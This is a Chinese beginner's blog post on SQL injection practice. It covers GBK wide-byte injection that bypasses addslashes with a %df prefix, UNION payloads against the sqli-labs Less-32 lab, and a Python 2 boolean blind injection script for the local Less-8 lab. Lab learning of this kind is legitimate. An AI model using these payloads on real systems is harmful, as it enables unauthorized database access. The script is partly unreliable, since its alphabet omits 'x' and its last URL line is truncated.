1. 程式人生 > 資料庫 >萌新學習sql注入4

萌新學習sql注入4

寬位元組注入

先列舉一下基本的url編碼

明文 url編碼
空格 %20
%27
# %23
\ %5c

addslashes函式:
addslashes() 函式返回在預定義字元之前新增反斜槓的字串。
預定義字元是:

  1. 單引號(’)
  2. 雙引號(")
  3. 反斜槓(\)
  4. NULL

如何從addslashes函式中逃逸出來:
一:在\前面再加一個 \ (或單數個),變成\\’ ,這樣\就被轉義了,‘逃出了限制
二:把\弄沒,在mysql使用GBK編碼的時候,會認為兩個字元是一個漢字(前面一個ASCII碼要大於128,才到達漢字的範圍)
漢字為兩個字元
在這裡插入圖片描述
\'的編碼為%5c%27


在這裡插入圖片描述
我們在 ’ 前加%df後變為%df\’
即為%df%5c%27,進行GBK解碼後為
在這裡插入圖片描述
變為了運’,成功繞過了。

進行實驗

實驗環境:sqlilabs-less-32
在這裡插入圖片描述
本地搭建的靶機關於寬位元組注入的題莫名其妙不能用了,又到虛擬機器搭建了sqli-labs,花了一段時間。哭了
開始進行測試了!!!

?id=1%27--+

在這裡插入圖片描述
發現是用了addslashes() 函式,使用%df試試

?id=1%df%27--+

在這裡插入圖片描述
說明是GBK編碼,可以注入了。

?id=-1%df%27 union select 1,2,3--+

在這裡插入圖片描述
用union聯合注入即可,後面有一點要注意,就是where table_name=’ '的單引號不能使用,要使用另一種方法:十六進位制

?id=-1%df' union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273 --+

在這裡插入圖片描述

指令碼編寫

學習寫python指令碼了,sqlmap並不是萬能的,學習了一上午,發現requests庫的知識太多了,慢慢來吧
實驗環境:sqlilabs-less-8
先寫最簡單的布林盲注的指令碼,首先需要python的requests庫,pip下載即可

import requests

dic = 'abcdefghijklmnopqrstuvwsyz'

database = ''

for x in xrange(1,10):
    for i in dic:
        url = "http://127.0.0.1/sqlilabs/Less-8/?id=1' and substr(database(),%d,1)='%c'--+" %(x,i)
        try:
            response = requests.get(url,timeout = 5)
            if  response.content.find('You are in...........') != -1:
                database = database + i
                print database
                break
        except Exception,e:
            pass

print database

在這裡插入圖片描述
最主要的是這個判斷,若找到You are in…就不為-1,執行下面語句。若沒有找到就為-1,不執行if語句。

if  response.content.find('You are in...........') != -1:

接下來更改url句子即可

url = "http://127.0.0.1/sqlilabs/Less-8/?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),i)

limit 0,1也可用一層迴圈,我這裡就不在演示了。總之python指令碼使用起來更加靈活,還是應該好好寫一寫的。